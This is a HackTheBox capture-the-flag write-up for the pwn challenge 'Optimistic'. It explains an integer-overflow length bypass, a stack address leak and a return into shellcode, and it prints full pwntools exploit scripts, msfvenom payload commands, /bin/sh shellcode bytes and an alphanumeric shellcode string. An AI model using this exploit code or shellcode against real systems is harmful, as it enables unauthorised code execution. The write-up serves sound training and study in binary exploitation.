Optimistic
Optimistic
Platform: HackTheBox | Category: Pwn | Difficulty: N/A | Author: D3v0o0Nu11 | Date: 2026-02-10
Description
Are you ready to feel positive?
Solution Approach
Core idea: Exploiting Integer Overflow. Utilizing Integer Overflow to leak stack address.
Steps
-
First, unzip the
.zipfile given, then check the type of file we got. -
Now check the binary's protection.
-
Let us run the binary then.
-
Hmm.. let us decompile the binary and analyze the
main()function. -
Seems like we need to find the offset of our stack pointer. Not only that now we know why the binary skipped the age prompt, it's because the email variable only accepts 8 characters.
-
The vuln here,
local_84is an unsigned int, then converted to int and compared to another value. This could lead to Interger Overflow.
QUICK INFO
- So let us run the binary in gbd.
At this point, we know the unsigned int is ranged from 0 - 4,294,967,295, let us input
1as the length.
-
Hmm.. Confused why it's terminated, because it must only validating if the length is above 64.
-
Let us run the binary without gdb then.
-
Got segmentation fault!
-
Hmm.. Try to get the EIP/RIP offset with pwntools then.
THE SCRIPT
from pwn import *
import os
os.system('clear')
def start(argv=[], *a, **kw):
if args.REMOTE:
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else:
return process([exe] + argv, *a, **kw)
exe = './optimistic'
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'debug'
def getOffset(pattern):
sh = process(exe)
sh.sendlineafter(':', 'y')
sh.sendlineafter(':', 'aa')
sh.sendlineafter(':', 'aa')
sh.sendlineafter(':', '-1')
sh.sendlineafter(':', pattern)
sh.wait()
offset = cyclic_find(sh.corefile.read(sh.corefile.sp,4))
info('EIP/RIP offset : {i}'.format(i=offset))
return offset
pattern = cyclic(1024)
offset = getOffset(pattern) # got 104
OUTPUT - 104
- Now we need to get the location of EBP (leak the stack address).
### LEAK THE STACK ADDRESS
stackAddr = int(re.search(r"(0x[\w\d]+)", sh.recvlines()).group(0), 16)
info("Stack Address Leaked: %#x", stackAddr)
### remove 96 bytes to point at RSP instead of RBP | remove 96 bytes because `local_68` buffer is 96 bytes
stackAddr = stackAddr - 96
- Now set the shellcode.
### create the shellcode
shellcode = asm(shellcraft.sh())
### payload
p = flat(
[
shellcode,
cyclic(offset - len(shellcode)), # as the padding bytes
stackAddr
]
)
THE SCRIPT SO FAR
from pwn import *
import os
os.system('clear')
def start(argv=[], *a, **kw):
if args.REMOTE:
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else:
return process([exe] + argv, *a, **kw)
exe = './optimistic'
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'debug'
def getOffset(pattern):
sh = process(exe)
sh.sendlineafter(':', 'y')
sh.sendlineafter(':', 'aa')
sh.sendlineafter(':', 'aa')
sh.sendlineafter(':', '-1')
sh.sendlineafter(':', pattern)
sh.wait()
offset = cyclic_find(sh.corefile.read(sh.corefile.sp,4))
info('EIP/RIP offset : {i}'.format(i=offset))
return offset
pattern = cyclic(1024)
offset = getOffset(pattern) # got 104
sh = start()
sh.sendlineafter(':', 'y')
### LEAK THE STACK ADDRESS
stackAddr = int(re.search(r"(0x[\w\d]+)", sh.recvlineS()).group(0), 16)
info("Stack Address Leaked: %#x", stackAddr)
### remove 96 bytes to point at RSP instead of RBP | remove 96 bytes because `local_68` buffer is 96 bytes
stackAddr -= 96
### create the shellcode
shellcode = asm(shellcraft.sh())
### payload
p = flat(
[
shellcode,
cyclic(offset - len(shellcode)), # as the padding bytes to RIP
stackAddr # RBP - 96 (our shellcode)
]
)
sh.sendlineafter(':','aa')
sh.sendlineafter(':','aa')
sh.sendlineafter(':','-1')
sh.sendlineafter(':',p)
sh.interactive()
OUTPUT
-
We got the shell here, but the problem is notice the shellcraft we sent are not alphanumeric.
-
Try to
ls. -
Yep, it's must in alphanumeric. Remember we have this checker.
-
So i did a research on the internet, found out that we can do 3 methods.
The 1st & 2nd method is using msfvenom
The 3rd method simply search "linux alphanumeric shellcode" -> exploitdb | https://www.exploit-db.com/exploits/35205
1ST METHOD
COMMAND:
msfvenom -f python -p linux/x64/exec -a x86_64 --platform linux CMD=/bin/sh -e x86/alpha_mixed
COPY THE SHELL TO PYTHON
shellcode = b""
shellcode += b"\x89\xe2\xdb\xc2\xd9\x72\xf4\x58\x50\x59\x49\x49\x49"
shellcode += b"\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43"
shellcode += b"\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41"
shellcode += b"\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42"
shellcode += b"\x58\x50\x38\x41\x42\x75\x4a\x49\x32\x4a\x47\x4b\x76"
shellcode += b"\x38\x6d\x49\x37\x38\x4d\x6b\x34\x6f\x30\x62\x33\x59"
shellcode += b"\x50\x6e\x34\x6f\x44\x33\x62\x48\x65\x50\x51\x43\x61"
shellcode += b"\x58\x6b\x39\x78\x67\x72\x48\x76\x4d\x75\x33\x73\x30"
shellcode += b"\x37\x70\x50\x48\x6c\x49\x6d\x36\x52\x72\x58\x68\x73"
shellcode += b"\x38\x63\x30\x37\x70\x67\x70\x74\x6f\x33\x52\x52\x49"
shellcode += b"\x50\x6e\x66\x4f\x70\x73\x53\x58\x45\x50\x66\x36\x56"
shellcode += b"\x37\x70\x48\x4e\x69\x68\x66\x56\x6f\x43\x35\x41\x41"
2ND METHOD
COMMAND:
msfvenom -f python -p linux/x64/exec --platform linux CMD=/bin/sh
COPY THE SHELL TO PYTHON:
shellcode = b""
shellcode += b"\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68"
shellcode += b"\x00\x53\x48\x89\xe7\x68\x2d\x63\x00\x00\x48\x89\xe6"
shellcode += b"\x52\xe8\x0a\x00\x00\x00\x2f\x62\x69\x6e\x2f\x62\x61"
shellcode += b"\x73\x68\x00\x56\x57\x48\x89\xe6\x0f\x05"
shellcode = alphanumeric(shellcode)
EXPLOIT DB
XXj0TYX45Pk13VX40473At1At1qu1qv1qwHcyt14yH34yhj5XVX1FK1FSH3FOPTj0X40PP4u4NZ4jWSEW18EF0V
-
For this solution i preferred to use the third method, because the 1st & 2nd i failed and found out need to change to python 2 environment.
-
Anyway i will show you step by step to get the payload.
-
Let us run this command first ->
msfvenom -l payloads | grep linuxto see all payloads for linux. -
Use this one:
-
Since we want to convert the payload in python file, run this command ->
msfvenom -p linux/x64/exec -f python --platform linux CMD=/bin/sh. -
Copy that to our script.
-
Now let us go back and use the third method.
FINAL SCRIPT
from pwn import *
import os
os.system('clear')
def start(argv=[], *a, **kw):
if args.REMOTE:
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else:
return process([exe] + argv, *a, **kw)
exe = './optimistic'
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'debug'
def getOffset(pattern):
sh = process(exe)
sh.sendlineafter(':', 'y')
sh.sendlineafter(':', 'aa')
sh.sendlineafter(':', 'aa')
sh.sendlineafter(':', '-1')
sh.sendlineafter(':', pattern)
sh.wait()
offset = cyclic_find(sh.corefile.read(sh.corefile.sp,4))
info('EIP/RIP offset : {i}'.format(i=offset))
return offset
pattern = cyclic(1024)
offset = getOffset(pattern) # got 104
sh = start()
sh.sendlineafter(':', 'y')
### LEAK THE STACK ADDRESS
stackAddr = int(re.search(r"(0x[\w\d]+)", sh.recvlineS()).group(0), 16)
info("Stack Address Leaked: %#x", stackAddr)
### remove 96 bytes to point at RSP instead of RBP | remove 96 bytes because `local_68` buffer is 96 bytes
stackAddr -= 96
### create the shellcode - NEED PYTHON 2 ENV
##shellcode = b""
##shellcode += b"\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x99\x50\x54"
##shellcode += b"\x5f\x52\x66\x68\x2d\x63\x54\x5e\x52\xe8\x08\x00\x00"
##shellcode += b"\x00\x2f\x62\x69\x6e\x2f\x73\x68\x00\x56\x57\x54\x5e"
##shellcode += b"\x6a\x3b\x58\x0f\x05"
##shellcode = alphanumeric(shellcode)
shellcode = "XXj0TYX45Pk13VX40473At1At1qu1qv1qwHcyt14yH34yhj5XVX1FK1FSH3FOPTj0X40PP4u4NZ4jWSEW18EF0V"
### payload
p = flat(
[
shellcode,
cyclic(offset - len(shellcode)), # as the padding bytes to RIP
stackAddr # RBP - 96 (our shellcode)
]
)
sh.sendlineafter(':','aa')
sh.sendlineafter(':','aa')
sh.sendlineafter(':','-1')
sh.sendlineafter(':',p)
sh.interactive()
OUTPUT
-
Let us test it remotely.
-
Got the flag!
Flag
REDACTED
Lessons Learned
- Exploiting Integer Overflow.
- Utilizing Integer Overflow to leak stack address.
- Writing shellcode to the leaked stack address and manipulate the RIP address to it.